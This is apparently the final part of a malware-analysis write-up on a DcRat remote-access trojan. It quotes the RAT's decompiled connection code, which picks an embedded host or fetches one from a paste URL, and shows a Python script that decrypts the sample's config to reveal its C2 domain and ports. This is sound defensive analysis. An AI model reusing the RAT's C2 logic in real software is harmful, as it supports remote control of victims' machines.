2022-03-15 10:30:00
The last question asks where the RAT connects. I expected the answer in the Settings class, and the fields are there, but they hold no readable address. The three that matter, Hos_ts, Por_ts and Paste_bin, are Base64 strings of the same shape as the mutex name from earlier: 88 characters each, decoding to 64 bytes, with nothing readable inside.
Figure 25: The three encrypted fields in the Settings class.
Before decrypting them, I read the method that uses them, ClientSocket.InitializeClient. It starts with a branch on Paste_bin:
if (Settings.Paste_bin == "null"){ string text = Settings.Hos_ts.Split(',')[new Random().Next(Settings.Hos_ts.Split(',').Length)]; int port = Convert.ToInt32(Settings.Por_ts.Split(',')[new Random().Next(Settings.Por_ts.Split(',').Length)]); ...}else{ using (WebClient webClient = new WebClient()) { string[] array = webClient.DownloadString(Settings.Paste_bin).Split(':'); Settings.Hos_ts = array[0]; Settings.Por_ts = array[new Random().Next(1, array.Length)]; }}
There are two ways to learn the server. If Paste_bin is the string "null", the RAT uses the embedded lists: it splits Hos_ts and Por_ts on commas and picks one host and one port at random, so the configuration can hold several of each. Otherwise it downloads the text at the Paste_bin address and takes the host and ports from it, separated by colons. That second path would let an operator change the server without rebuilding the sample. Which path this sample takes depends on what Paste_bin contains once decrypted.
To read the fields I reused the method from the mutex section, in a short offline script that only decodes data: PBKDF2 with SHA-1, the salt DcRatByqwqdanchun, 50,000 iterations, and 96 derived bytes split into an AES key (32) and an HMAC key (64). It checks the HMAC before decrypting.
master = base64.b64decode(KEY_B64).decode()km = hashlib.pbkdf2_hmac("sha1", master.encode(), SALT, 50000, dklen=96)key, auth = km[:32], km[32:]
for name, b64 in FIELDS.items(): blob = base64.b64decode(b64) tag, iv, ct = blob[:32], blob[32:48], blob[48:] ok = hmac.compare_digest(tag, hmac.new(auth, iv + ct, hashlib.sha256).digest()) plain = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16).decode() if ok else None print(f"{name:<10} {ok} {plain}")The output:
Hos_ts True yoindje.shopPor_ts True 12159,8848Paste_bin True null
Figure 27: The decryption script and its output. All three HMAC checks pass.
True on all three lines means each blob authenticated with the derived key, so these are the real plaintexts and not a lucky decode. Paste_bin is null, so this sample uses the embedded configuration: the host is yoindje.shop, and the RAT picks one of two ports, 12159 or 8848. I only decrypted the values and read the code. I did not resolve the domain or connect to it, and I do not know whether the server is still alive.
Q25 — What is the C2 domain and the ports used by the RAT for communication?
Answer:
yoindje.shop, 12159, 8848Thank you so much for taking the time to read this write-up. I hope it was helpful and easy to follow, and that you enjoyed the journey of digging through this malware, layer by layer, until we tracked down its C2 server.
If I made any mistakes along the way, they are my own (or from Shaytan). Any good or correct part of this write-up is purely from Allah.
One last request: if you benefited from this write-up, please take a moment to make dua for my mother, and ask Allah to have mercy on her.
اللهم ارحم أمي واغفر لها، وأكرم نزلها، ووسّع مدخلهاوأدخلها فسيح جناتك يا الله.
Thanks for reading, and may Allah reward you.
If this article helped you, please share it with others!
Some information may be outdated







